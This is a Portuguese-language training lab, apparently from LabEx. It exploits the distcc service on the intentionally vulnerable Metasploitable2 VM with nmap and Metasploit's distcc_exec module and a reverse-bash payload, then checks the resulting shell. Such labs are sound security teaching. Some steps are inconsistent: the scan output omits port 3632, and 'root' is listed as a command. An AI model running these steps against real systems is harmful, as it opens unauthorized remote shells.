Realize Testes de Penetração no Metasploitable2 com Nmap

NmapBeginner
Pratique Agora

Introdução

Neste laboratório, conduziremos testes de penetração na máquina alvo Metasploitable2 fornecida pela LabEx, utilizando o terminal Kali. O foco será na compreensão dos princípios e do processo de ataque ao serviço Distcc. Ao final do laboratório, serão fornecidas leituras recomendadas e tarefas de casa.

Iniciar o Ambiente do Laboratório

  1. Abra um terminal xfce na máquina host da LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2

Aguarde o início da máquina alvo, o que pode levar de 1 a 3 minutos.

  1. Teste a conectividade com a máquina alvo fazendo ping nela:
ping 192.168.122.102

Pressione Ctrl+C para parar o ping.

  1. Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102

Pressione Ctrl+C para parar o ping.

Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar os testes de penetração.

Observação: Se você sair acidentalmente do bash atual, o container Kali irá parar automaticamente. Você pode executar docker run -ti --network host b5b709a49cd5 bash novamente no host para iniciar um novo container Kali e entrar no bash para continuar o experimento.

Realizar Teste de Penetração

Princípio da vulnerabilidade do serviço Distcc:

Distcc é usado para compilação distribuída de grandes bases de código em servidores de rede. No entanto, se mal configurado, pode ser abusado para executar comandos. Esta vulnerabilidade está presente no XCode 1.5 e em outras versões do Distcc 2.x devido à falta de restrições de acesso na porta do servidor.

Em termos simples, o serviço carece de verificações adequadas nas portas e nas tarefas executadas, permitindo que os invasores usem as tarefas de compilação distribuída para executar seus próprios comandos.

Índices de vulnerabilidade:

Código do módulo de ataque de vulnerabilidade:

Primeiro, inicie o msfconsole para entrar na interface de operação:

cd ~
msfconsole

Use a ferramenta de varredura Nmap para verificar o host alvo em busca de portas abertas:

nmap -sV -T4 192.168.122.102

Aqui está um exemplo da saída que você pode ver:

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp   open  domain  ISC BIND 9.4.2
111/tcp  open  rpcbind 2 (RPC #100000)
3306/tcp open  mysql   MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds

Com base nos resultados da varredura, procure o módulo correspondente ao serviço de porta que você deseja atacar:

search distcc

No terminal Kali MSF, use o comando use para selecionar o módulo apropriado:

use exploit/unix/misc/distcc_exec

Em seguida, use o comando show options para exibir os parâmetros do módulo:

show options

Aqui está um exemplo da saída que você pode ver:

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
                                       it.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.28.140.88    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

Defina o parâmetro do host alvo RHOST para 192.168.122.102

set RHOST 192.168.122.102

Depois que tudo estiver configurado, use o comando exploit para atacar o host:

exploit

Pressione Ctrl+D para sair do console Metasploit e, em seguida, iniciar a inspeção

Verificar Penetração Bem-Sucedida

Para verificar se a penetração foi bem-sucedida, use os seguintes comandos: whoami, hostname e ifconfig (para verificar o endereço IP):

Primeiramente, se você não estiver no console Metasploit, deverá iniciar o console Metasploit:

cd ~
msfconsole

Verifique o usuário atual:

whoami

Verifique o nome do host:

root

Verifique o endereço IP do host comprometido:

ifconfig

Se o nome do host e o endereço IP corresponderem à máquina alvo (192.168.122.102), isso indica que o teste de penetração foi bem-sucedido.

Pressione Ctrl+D para sair do console Metasploit e, em seguida, iniciar a inspeção

Resumo

Neste laboratório, aprendemos sobre os princípios e o processo de ataque ao serviço Distcc. Ganhamos experiência prática com a varredura de penetração Nmap, usando o Metasploit para explorar a vulnerabilidade Distcc e verificando a penetração bem-sucedida. O laboratório forneceu uma compreensão prática da análise de vulnerabilidade e das técnicas de exploração.